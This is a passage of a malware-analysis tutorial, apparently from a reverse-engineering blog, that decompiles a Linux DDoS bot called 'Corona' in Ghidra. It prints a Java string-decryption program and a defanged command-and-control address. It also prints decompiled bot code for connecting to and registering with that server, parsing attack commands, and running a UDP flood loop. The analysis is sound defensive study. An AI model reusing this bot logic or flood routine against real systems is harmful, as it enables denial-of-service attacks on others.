Based on this, the code can be rewritten as follows:

```
count =  -1; //Written as 0xffffffffffffffff in the decompiled code
input_copy = input;
do {
  if (count == 0) break;
  count = count - 1;
  currentCharacter = *input_copy;
  input_copy = input_copy + 1;
} while (currentCharacter != 0);
if (~count - 1 <= (ulong)(long)local_14) {
//[omitted code]
```

The count starts at *-1* and is decreased with *1* for every character that the *input* is long. The if-statement in the line below inverts the value of *count*, after which *1* is subtracted. The initial value of the variable is *-1*, after which the inverse value is decreased with *1*. These two actions negate eachother, meaning that they can both be left out. The variable *count* is thus equal to *0* in the beginning. When the loop has finished, *count* is equal to the length of the *input* string.

On can write this as a single line of code to increase the readability. The code below is in Java.

```
int count = input.length;
```

The if-statement contains two variables: *count* and *local_14*. The latter is increased with *1* at the bottom of the function. This variable can therefore be renamed to *iterationCount*.

The if-statement's body sets the value at *output[local_10]* to *0*, after which the function returns. This part of the code is only reached when the string is fully decrypted, since this is the only way to return from this endless loop.

In the end of the function, there is a while-loop that contains the two variables that have not been renamed yet.

```
local_c = 0;
while (local_c < 0x41) {
  if (input[(long)iterationCount] == enc[(long)(int)local_c]) {
        output[(long)local_10] = dec[(long)(int)local_c];
        local_10 = local_10 + 1;
  }
  local_c = local_c + 1;
}
```

Due to the compiler's assembly code, Ghidra shows this is a while-loop. It is likely that in the source code, the while-loop was actually a for-loop where *local_c* was named *i*. Renaming this variable creates code that is more readable. To increase the readability even more, one can rename *local_10* to *j*.

Note that the for-loop iterates *0x41* (65 in decimal) times. In Java, the string terminator (a single byte at the end of the string that is equal to *0x00*) does not exist. Therefore the loop should only iterate *0x40* (64 in decimal) times.

Also note that the string that is required for the input, requires an additional *0* at the end, since the other loops expect the string terminator to be present.

The byte arrays named *enc* and *dec* can be copied into the decryption program. The optimised output can then be used to decrypt the given strings. The Java program to decrypt a given string is given below.

```
/**
 * Decrypts a given <code>input</code> string, after which the decrypted
 * output is printed.
 *
 * @author Max 'Libra' Kersten [@Libranalysis]
 */
public static void main(String[] args) {
  //Gets the enc variable that is declared below
  byte[] enc = getEnc();
  //Gets the dec variable that is declared below
  byte[] dec = getDec();
  //The byte array to store the output in. In this sample, there is no string that
exceeds the size of 100 bytes
  byte[] output = new byte[100];
  //The input which needs to be decrypted (note the "0" at the end to include the
null byte in the iterations
  byte[] input = "x$s$Dt$0".getBytes();
  //The start of the decryption routine
  int iterationCount = 0;
  int j = 0;
  do {
    if (input.length <= iterationCount) {
      output[j] = 0;
      System.out.println(new String(output));
      return;
    }
    for (int i = 0; i < 64; i++) { //0x41 equals 65, but needs to be 64 in Java
because the null terminator byte is not present
      if (input[iterationCount] == enc[i]) {
        output[j] = dec[i];
        j++;
      }
    }
    iterationCount++;
  } while (true);
}

private static byte[] getEnc() {
  return new byte[]{0x3c, 0x3e, 0x40, 0x5f, 0x3b, 0x3a, 0x2c, 0x2e, 0x2d, 0x2b, 0x2a,
0x5e, 0x3f, 0x3d, 0x29, 0x28, 0x7c, 0x41, 0x42, 0x26, 0x25, 0x24, 0x44, 0x60, 0x21,
0x77, 0x6b, 0x79, 0x78, 0x7a, 0x76, 0x75, 0x74, 0x73, 0x72, 0x71, 0x70, 0x6f, 0x6e,
0x6d, 0x6c, 0x69, 0x68, 0x67, 0x66, 0x65, 0x64, 0x63, 0x62, 0x61, 0x7e, 0x31, 0x32,
0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x46, 0x55, 0x43, 0x4b};
}

private static byte[] getDec() {
  return new byte[]{0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x61,
0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71,
0x72, 0x73, 0x74, 0x75, 0x76, 0x7a, 0x79, 0x77, 0x6b, 0x78, 0x41, 0x42, 0x43, 0x44,
0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54,
0x55, 0x56, 0x5a, 0x59, 0x57, 0x4b, 0x58, 0x7c, 0x3a, 0x2e, 0x20};
}
```

With this program, one can obtain the original values of the encrypted strings. Below, the *encryption_init* function is given, where the decrypted value is given as a comment.

```
encryption(enc_udp,2,"3nb"); //UDP
encryption(enc_tcp,2,"2ob"); //TCP
encryption(enc_http,2,"h22b"); //HTTP
encryption(enc_std,2,"12n"); //STD
encryption(enc_xmas,2,"9eq1"); //XMAS
encryption(enc_vse,2,"41m"); //VSE
encryption(enc_proc_kill,2,"A*A*t)sB&&uDx"); //hahawekillyou
encryption(enc_name,2,"oDwD$*"); //Corona
encryption(enc_unknown,2,"x$s$Dt$"); //unknown
```

Testing the internet connection

After the strings have been decrypted, the command line argument is saved, the name of the parent process is changed, and the random seed has been set, the *connection* function is reached. The code is given below.

```
undefined8 connection(void)
{
  uint uVar1;
  int iVar2;
  sa_family_t local_18;
  uint16_t local_16;
  in_addr_t local_14;

  while( true ) {
    uVar1 = fcntl(MainSockFD,3,0);
    fcntl(MainSockFD,4,
          (ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >> 8),
(char)uVar1)) |
          0x800);
    MainSockFD = socket(2,1,0);
    local_18 = 2;
    local_16 = htons((uint16_t)bot_port);
    local_14 = inet_addr(bot_host);
    iVar2 = connect(MainSockFD,(sockaddr *)&local_18,0x10);
    if (iVar2 != -1) break;
    printf("[%s] Unable To Connect! \n",enc_name);
    sleep(5);
  }
  printf("[%s] Succesfully Connected! \n",enc_name);
  registermydevice();
  return 0;
}
```

Note that the *local_18* variable is of the *sa_family_t* type. Below, there are three variables (*local_18*, *local_16*, and *local_14*) that are actually fields within the *sockaddr_in* struct. Changing the type will show the correct decompiled code. Additionally, the name of *local_18* can be changed into *socketAddr*.

Based on the print statements, one can deduce that this function is a connectivity test. At first, an *AF_INET SOCK_STREAM* socket with a default protocol is created. After that, a connection is initiated based upon the data within the *sockaddr_in* structure. Both the

address and the port that the bot will connect to, are located within the data segment.

Port *20* is generally used to transfer files using the File Transfer Protocol (FTP), although this is not the case in this bot. The IP address to connect to is 91[.]209[.]70[.]22.

When the connect function fails, the return value is equal to *-1*. The variable *iVar2* is equal to the *connectionResult* and can be renamed as such. The renamed and retyped function is given below.

```
undefined8 connection(void)
{
  uint uVar1;
  int connectionResult;
  sockaddr_in socketAddr;

  while( true ) {
    uVar1 = fcntl(MainSockFD,3,0);
    fcntl(MainSockFD,4,
          (ulong)(uVar1 & 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 >> 8),
(char)uVar1)) |
          0x800);
    MainSockFD = socket(AF_INET,SOCK_STREAM,0);
    socketAddr.sin_family = 2;
    socketAddr.sin_port = htons((uint16_t)_bot_port);
    socketAddr.sin_addr = inet_addr(bot_host);
    connectionResult = connect(MainSockFD,(sockaddr *)&socketAddr,0x10);
    if (connectionResult != -1) break;
    printf("[%s] Unable To Connect! \n",enc_name);
    sleep(5);
  }
  printf("[%s] Succesfully Connected! \n",enc_name);
  registermydevice();
  return 0;
}
```

The main socket is used to connect to the command & control server. If the connection is not made successfully, the bot prints the failure message, sleeps for 5 seconds, and then tries to connect the command & control server again. Upon a successfull connection, the endless loop is broken, the success message is printed, and the *registermydevice* function is called.

Registering the bot

After the connection has been made successfully, the bot is registered. The function is given below.

```
void registermydevice(void)
{
  char cVar2;
  undefined8 uVar2;
  ulong uVar3;
  ulong uVar4;
  char *pcVar5;
  char *pcVar4;
  char acStack632 [512];
  char acStack120 [112];
  char cVar1;

  uVar2 = getBuild();
  sprintf(acStack120,"arch %s\r\n",uVar2);
  uVar3 = 0xffffffffffffffff;
  pcVar5 = acStack120;
  do {
    if (uVar3 == 0) break;
    uVar3 = uVar3 - 1;
    cVar1 = *pcVar5;
    pcVar5 = pcVar5 + 1;
  } while (cVar1 != 0);
  write(MainSockFD,acStack120,~uVar3 - 1);
  uVar2 = getBuild();
  sprintf(acStack632,

          "\x1b[0m\x1b[0;31m[\x1b[0;36m%s\x1b[0;31m]\x1b[0m Device Joined [Host:%s]
[Arch:%s][Name:%s]\x1b[0m\r\n"
          ,enc_name,0x510068,uVar2,0x510004);
  uVar4 = 0xffffffffffffffff;
  pcVar4 = acStack632;
  do {
    if (uVar4 == 0) break;
    uVar4 = uVar4 - 1;
    cVar2 = *pcVar4;
    pcVar4 = pcVar4 + 1;
  } while (cVar2 != 0);
  write(MainSockFD,acStack632,~uVar4 - 1);
  return;
}
```

In this function there are two *do-while* loops. Both of them are similar to a structure that was seen in the decryption function, and both are used to obtain the length of a given string.

At first, the variable *uVar2* is set equal to the return value of *getBuild*, which is given below.

```
undefined * getBuild(void)
{
  return &DAT_00407d3d;
}
```

When viewing the location of *DAT_00496d3d*, one can see it is a null terminated string. As such, the type can be changed to a *char* *. Ghidra will make use of the new type, as the *getBuild* function changes after this, as can be seen below.

```
char * getBuild(void)
{
  return "x86";
}
```

Additionally, the variable type of *uVar2* is changed to a character pointer. The variable *uVar2* can be renamed into *architecture*.

The function contains two calls to the write function, sending two pieces of information towards the command & control server. The creation of the first message, as well as the write call, is given below.

```
architecture = getBuild();
sprintf(acStack120,"arch %s\r\n",architecture);
uVar3 = 0xffffffffffffffff;
pcVar3 = acStack120;
do {
  if (uVar3 == 0) break;
  uVar3 = uVar3 - 1;
  cVar1 = *pcVar3;
  pcVar3 = pcVar3 + 1;
} while (cVar1 != 0);
write(MainSockFD,acStack120,~uVar3 - 1);
```

At first, the architecture variable is filled, after which the *acStack120* variable is used as a buffer to store *arch x86\r\n* in. After that, a copy of the buffer is made to calculate the length of the input string. At last, the main socket is used to send the buffer with the given length to the command & control server. The refactored code is given below.

```
architecture = getBuild();
sprintf(architectureBuffer,"arch %s\r\n",architecture);
archBufferLength = 0xffffffffffffffff;
archBufferCopy = architectureBuffer;
do {
  if (archBufferLength == 0) break;
  archBufferLength = archBufferLength - 1;
  currentArchChar = *archBufferCopy;
  archBufferCopy = archBufferCopy + 1;
} while (currentArchChar != 0);
write(MainSockFD,architectureBuffer,~archBufferLength - 1);
```

The second *write* call contains a different buffer with a different length. The code is given below.

```
pcVar2 = getBuild();
sprintf(acStack632,
        "\x1b[0m\x1b[0;31m[\x1b[0;36m%s\x1b[0;31m]\x1b[0m Device Joined [Host:%s]
[Arch:%s][Name:%s]\x1b[0m\r\n"
        ,enc_name,0x510068,pcVar2,0x510004);
uVar3 = 0xffffffffffffffff;
pcVar4 = acStack632;
do {
  if (uVar3 == 0) break;
  uVar3 = uVar3 - 1;
  cVar1 = *pcVar4;
  pcVar4 = pcVar4 + 1;
} while (cVar1 != 0);
write(MainSockFD,acStack632,~uVar3 - 1);
```

The *acStack632* variable contains the final value to be sent to the command & control server. The code below that is used to calculate the length of the string. The string that is created, contains more information on the infected device. It contains the name (which equals *Corona*), the value at *0x510068*, the architecture (which is stored in *pcVar2* and obtained from *getBuild*), and the value at *0x510004*.

When double clicking on the two addresses, one can see that the values reside within the *myinfo* struct. The value at *0x510068* is equal to *myinfo.local_addres*, which was set within the *local_addr* function. The value at *0x510004* is equal to *myinfo.command_line_argument*, which was set within the *main* function.

At last, the length of the string is calculated in a loop, after which the data is sent to the command & control server using the main socket. Below, the refactored code is given.

```
bot_architecture = getBuild();
sprintf(messageBuffer,
        "\x1b[0m\x1b[0;31m[\x1b[0;36m%s\x1b[0;31m]\x1b[0m Device Joined [Host:%s]
[Arch:%s][Name:%s]\x1b[0m\r\n"
          ,enc_name,0x510068,bot_architecture,0x510004);
messageLength = 0xffffffffffffffff;
messageCopy = messageBuffer;
do {
  if (messageLength == 0) break;
  messageLength = messageLength - 1;
  currentMessageChar = *messageCopy;
  messageCopy = messageCopy + 1;
} while (currentMessageChar != 0);
write(MainSockFD,messageBuffer,~messageLength - 1);
```

Parsing a command

After the bot has been registered, it will await a command from the command & control server. The code below parses the incoming commands.

```
void recv_buf(void)
{
  long lVar3;
  char *pcVar4;
  ssize_t sVar5;
  ulong uVar6;
  char *pcVar1;
  char *local_488 [12];
  char local_428 [1024];
  int local_28;
  uint local_24;
  char *local_20;
  char cVar1;
  uint uVar2;

  do {
    sVar5 = read(MainSockFD,local_428,0x400);
    if (sVar5 == 0) {
      return;
    }
    local_24 = 0;
    memset(local_488,0,0x58);
    local_20 = strtok(local_428," ");
    while ((local_20 != (char *)0x0 && ((int)local_24 < 10))) {
      uVar6 = 0xffffffffffffffff;
      pcVar1 = local_20;
      do {
        if (uVar6 == 0) break;
        uVar6 = uVar6 - 1;
        cVar1 = *pcVar1;
        pcVar1 = pcVar1 + 1;
      } while (cVar1 != 0);
      pcVar1 = (char *)malloc(~uVar6);
      local_488[(long)(int)local_24] = pcVar1;
      lVar3 = (long)(int)local_24;
      strcpy(local_488[lVar3],local_20);
      local_20 = strtok((char *)0x0," ");
      local_24 = local_24 + 1;
    }
    pcVar4 = strstr(local_428,enc_proc_kill);
    if (pcVar4 != (char *)0x0) {
      exit(0);
    }
    if (0 < (int)local_24) {
      cmd_parse((ulong)local_24,local_488);
    }
    local_28 = 0;
    while (local_28 < (int)local_24) {
      free(local_488[(long)local_28]);
      local_28 = local_28 + 1;
    }
  } while( true );
}
```

At first the size of the incoming message is read from the main socket and stored in *sVar5*. The actual data itself is stored in *local_428*. The variable named *sVar5* can be renamed into *commandLength*. The variable named *local_428* can be renamed into *command*.

If the size is equal to *0*, meaning no message has been sent to the bot, the function will return.

When the size of the command is not equal to zero, the variable *local_24* is set to *0* and a buffer of 88 bytes (*0x58* in hexadecimal) is alloacted, which is named *local_48*. When looking in the variable declaration at the top of the function, one will see that *local_488* appears to be a character array of 12 in size, whilst 88 bytes are allocated in size.

To change the size in Ghidra's decompiler, one has to retype the variable, as the size is included in the type. One can change the size by changing *char *[12]* into *char *[88]*. After changing the size, commit the local variables again.

Since the function's content has been changed, some variables are automatically renamed by Ghidra. The variable that was previously named *command* has been renamed to *local_488* and is now used as an argument in the read and memset functions. It can be renamed into *command* again.

The first part of the function is given below in refactored form.

```
do {
  commandLength = read(MainSockFD,command + 0xc,0x400);
  if (commandLength == 0) {
    return;
  }
  local_24 = 0;
  memset(command,0,0x58);
  //[...]
```

Below that, the strok function is used to split the command (at offset *0xc*) into different parts, based on the used delimiter, which is a space.

```
local_20 = strtok((char *)(command + 0xc)," ");
```

As such, the *local_20* variable can be renamed to *splittedCommand*.

The while-loop below contains a string length calculation loop that was observed multiple times before.

```
while ((splittedCommand != (char *)0x0 && ((int)local_24 < 10))) {
  uVar6 = 0xffffffffffffffff;
  pcVar1 = splittedCommand;
  do {
    if (uVar6 == 0) break;
    uVar6 = uVar6 - 1;
    cVar1 = *pcVar1;
    pcVar1 = pcVar1 + 1;
  } while (cVar1 != 0);
  pcVar2 = (char *)malloc(~uVar6);
  command[(long)(int)local_24] = pcVar2;
  lVar3 = (long)(int)local_24;
  strcpy(command[lVar3],splittedCommand);
  splittedCommand = strtok((char *)0x0," ");
  local_24 = local_24 + 1;
}
```

The variable *uVar6* is equal to *-1*, but the decompiler displays the unsigned value as a signed one. Keep this in mind during the analysis.

At the bottom of the loop, one can see that the *local_24* variable is incremented with one just before the next iteration starts. Within the while-condition, a comparison is made to see if the the value of *local_24* is less than 10. Since the *local_24* variable is set to *0* before, this means that the loop iterates 10 times. The *local_24* variable can be renamed to *i*.

When renaming the string length loop, the code becomes much more readable, as can be seen below. Additionally, the *lVar3* variable can be renamed into *i_also*, as it is made equal to *i* (*local_24* in the code above).

```
while ((splittedCommand != (char *)0x0 && ((int)i < 10))) {
  splittedCommandLength = 0xffffffffffffffff;
  splittedCommandCopy = splittedCommand;
  do {
        if (splittedCommandLength == 0) break;
        splittedCommandLength = splittedCommandLength - 1;
        currentChar = *splittedCommandCopy;
        splittedCommandCopy = splittedCommandCopy + 1;
  } while (currentChar != 0);
  pcVar1 = (char *)malloc(~splittedCommandLength);
  command[(long)(int)i] = pcVar1;
  i_also = (long)(int)i;
  strcpy(command[i_also],splittedCommand);
  splittedCommand = strtok((char *)0x0," ");
  i = i + 1;
}
```

The variable *pcVar1* is equal to a buffer that has the size of the command. After some juggling with variables, the splitted command is copied into the *command* variable. The variable *pcVar1* can be renamed into *command_copy*.

The last part of the function within the endless loop is given below.

```
pcVar4 = strstr((char *)(command + 0xc),enc_proc_kill);
if (pcVar4 != (char *)0x0) {
  exit(0);
}
if (0 < (int)i) {
  cmd_parse((ulong)i,command);
}
local_28 = 0;
while (local_28 < (int)i) {
  free(command[(long)local_28]);
  local_28 = local_28 + 1;
}
```

The strstr function is used to find a string within a given buffer. The buffer is the first argument, whereas the second argument is the string to find. In this case, the buffer is searched for value of *enc_proc_kill*, which equals *hahawekillyou*. If this string does occur (the code states that the condition should not not happen), the bot shuts itself down. If the value is not present and the amount of loops above is more than *0*, the *cmd_parse* function is called with *i* and *command* as arguments.

If this condition is not met, or when the *cmd_parse* function returns, a while-loop that frees data is encountered. The code is given below.

```
local_28 = 0;
while (local_28 < (int)i) {
  free(command[(long)local_28]);
  local_28 = local_28 + 1;
}
```

The variable *local_28* can be renamed into *count* to increase the readability of the code.

```
count = 0;
while (count < (int)i) {
  free(command[(long)count]);
  count = count + 1;
}
```

The value of *command* at the index of *count* is freed. This is done to ensure that the next iteration of the endless loop does not contain parts of a previously issued command.

Analysing the command handling

Upon receiving a command from the command & control server, it is processed within the bot. The command value is then processed internally, after which the corresponding functions are executed.

At first glance, one can instantly rename the function's two arguments. The first one is equal to *i* and the second one is equal to *command*. The code after these steps is given below.

```
void cmd_parse(int i,char **command)
{
  char *pcVar3;
  char *pcVar4;
  int iVar3;
  uint uVar4;
  uint uVar5;
  uint uVar6;
  uint uVar7;
  __pid_t _Var8;
  int iVar5;
  uint uVar8;
  uint uVar9;
  __pid_t _Var10;
  uint local_b4;
  int local_b0;
  int local_ac;
  char *pcVar1;
  char *pcVar2;

  iVar3 = strcmp(*command,enc_udp);
  if (iVar3 == 0) {
    if (6 < i) {
      pcVar1 = command[1];
      uVar4 = atoi(command[2]);
      uVar5 = atoi(command[3]);
      uVar6 = atoi(command[4]);
      uVar7 = atoi(command[5]);
      if (i < 7) {
        local_b4 = 1000;
      }
      else {
        local_b4 = atoi(command[6]);
      }
      if (i < 8) {
        local_b0 = 1000000;
      }
      else {
        local_b0 = atoi(command[7]);
      }
      if (i < 9) {
        local_ac = 0;
      }
      else {
        local_ac = atoi(command[8]);
      }
      _Var8 = fork();
      if (_Var8 == 0) {
        udp_attack(pcVar1,(ulong)uVar4,(ulong)uVar5,(ulong)uVar6,(ulong)uVar7,
(ulong)local_b4,
                   local_b0,local_ac);
      }
    }
  }
  else {
```

```
iVar5 = strcmp(*command,enc_std);
if (iVar5 == 0) {
  if (2 < i) {
    pcVar3 = command[1];
    uVar8 = atoi(command[2]);
    uVar9 = atoi(command[3]);
    _Var10 = fork();
    if (_Var10 == 0) {
      std_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);
    }
  }
}
else {
  iVar5 = strcmp(*command,enc_vse);
  if (iVar5 == 0) {
    if (i < 3) {
      return;
    }
    pcVar3 = command[1];
    uVar8 = atoi(command[2]);
    uVar9 = atoi(command[3]);
    _Var10 = fork();
    if (_Var10 == 0) {
      vse_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);
      _exit(0);
    }
  }
  iVar5 = strcmp(*command,enc_tcp);
  if (iVar5 == 0) {
    if (3 < i) {
      pcVar3 = command[1];
      uVar8 = atoi(command[2]);
      uVar9 = atoi(command[3]);
      pcVar2 = command[4];
      _Var10 = fork();
      if (_Var10 == 0) {
        tcp_attack(pcVar3,(ulong)uVar8,(ulong)uVar9,pcVar2);
        _exit(0);
      }
    }
  }
  else {
    iVar5 = strcmp(*command,enc_xmas);
    if (iVar5 == 0) {
      if (2 < i) {
        pcVar3 = command[1];
        uVar8 = atoi(command[2]);
        uVar9 = atoi(command[3]);
        _Var10 = fork();
        if (_Var10 == 0) {
          xmas_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);
          _exit(0);
        }
      }
    }
```

```
        else {
          iVar5 = strcmp(*command,enc_http);
          if ((iVar5 == 0) && (3 < i)) {
            pcVar3 = command[1];
            uVar8 = atoi(command[2]);
            uVar9 = atoi(command[3]);
            pcVar4 = command[4];
            _Var10 = fork();
            if (_Var10 == 0) {
              http_attack(pcVar3,(ulong)uVar8,(ulong)uVar9,pcVar4);
            }
          }
        }
      }
    }
  }
  return;
}
```

When glancing over this function, one can get a clear overview of its structure. Using multiple string compare calls, the given command is compared to multiple types of attacks. Below, a shortened version of the structure is given.

```
if (strcmp(command, UDP)) {
    //Execute command
} else if (strcmp(command, "UDP")) {
        //Execute command
} else if (strcmp(command, "STD")) {
        //Execute command
} else if (strcmp(command, "VSE")) {
        //Execute command
} else if (strcmp(command, "TCP")) {
        //Execute command
} else if (strcmp(command, "XMAS")) {
        //Execute command
} else if (strcmp(command, "HTTP")) {
        //Execute command
}
```

Based on the amount of parameters that some attacks require, one can deduce that the size of the string array that contains the command ranges between 4 and 9, including the command itself.

The easiest way to see what the value of the command fields are, one can analyse a function. A small one, such as the *std_attack* function will provide information about the first three arguments. The code is given below after comitting the locals and changing the type of *local_48* from *sa_family_t* to *sockaddr_in*.

```
void std_attack(char *pcParm1,uint16_t uParm2,int iParm3)
{
  int __fd;
  int iVar1;
  void *__buf;
  time_t tVar2;
  time_t tVar1;
  char *pcVar3;
  long lVar4;
  char local_5c;
  sockaddr_in local_48;
  int local_2c;
  void *local_28;
  int local_20;
  int local_1c;

  __buf = malloc(0x400);
  __fd = socket(2,2,0);
  local_48.sin_family = 2;
  local_48.sin_addr = inet_addr(pcParm1);
  local_48.sin_port = htons(uParm2);
  tVar2 = time((time_t *)0x0);
  while( true ) {
    lVar4 = (long)((int)tVar2 + iParm3);
    tVar1 = time((time_t *)0x0);
    if (lVar4 <= tVar1) break;
    pcVar3 = (char *)((long)__buf + 0x400);
    iVar1 = rand();
    local_5c = (char)iVar1 + (char)(iVar1 / 0x46) * -0x46;
    *pcVar3 = local_5c + 0x1e;
    connect(__fd,(sockaddr *)&local_48,0x10);
    send(__fd,__buf,0x400,0);
  }
  free(__buf);
  return;
}
```

Based on this, the first two parameters can be observed in a single glance. The first one is the address of the vicitm, whilst the second one is the victim's port. The arguments can be renamed *target_address* and *target_port* respectively. The *local_48* variable can be renamed to *socketAddress*.

The socket is a *AF_INET SOCK_DGRAM* socket using the default protocol. The *SOCK_DGRAM* type is used to make a UDP connection.

The rest of the function is given below.

```
tVar2 = time((time_t *)0x0);
while( true ) {
  lVar4 = (long)((int)tVar2 + param_3);
  tVar1 = time((time_t *)0x0);
  if (lVar4 <= tVar1) break;
  pcVar3 = (char *)((long)__buf + 0x400);
  iVar1 = rand();
  local_5c = (char)iVar1 + (char)(iVar1 / 0x46) * -0x46;
  *pcVar3 = local_5c + 0x1e;
  connect(__fd,(sockaddr *)&socketAddress,0x10);
  send(__fd,__buf,0x400,0);
}
free(__buf);
```

The variabled named *tVar2* is equal to the amount of seconds that have passed since epoch, and can thus be renamed to *currentTime*. The variable *lVar4* is equal to the current time plus the third parameter. After that, another variable is set equal to the current time, this variable can be renamed to *newTime*.

If the *newTime* variable is bigger than (or equal to) than the the first moment in time plus the value of the third parameter, the endless while-loop exits. Based on this, one can deduce that the third parameter is equal to the value in seconds that the attack should last. Therefore, the third variable can be renamed to *attackDuration*. The *lVar4* variable can be renamed to *finalTime*.

After that, the *__buf* variable is filled with random variables. The rand function was seeded in the *main* function, based on the then current time and process ID. The random value is divided by *0x46*, after which *0x46* is subtracted. The value is then stored in the buffer, after which a connection to the target is made and the data is sent. The refactored code is given below.

```
while( true ) {
  finalTime = (long)((int)currentTime + attackDuration);
  newTime = time((time_t *)0x0);
  if (finalTime <= newTime) break;
  bufferPointer = (char *)((long)__buf + 0x400);
  randomValue = rand();
  subtractedRandomValue = (char)randomValue + (char)(randomValue / 0x46) * -0x46;
  *bufferPointer = subtractedRandomValue + 0x1e;
  connect(__fd,(sockaddr *)&socketAddress,0x10);
  send(__fd,__buf,0x400,0);
}
```

The other attacks will construct the request (or payload, depending on your definition and perspective) differently. Going into those will be needlessly lengthy without adding much value to this article.

Conclusion

Other attacks require more specific arguments, but the base line has been set, which allows the reverse engineer to get a basic understanding of the command scheme that is used within the bot. When analysing the logs of a hacked machine that was used as a bot, it is now possible to understand which targets were attacked and how long the attacks took place.

Additionally, some core concepts of Ghidra have been explorered and used during the analysis. When working with the correct data types, the code (be it disassembly or decompiled) is much more accurate. This leads to less mistakes and a quicker analysis while there are no downsides.
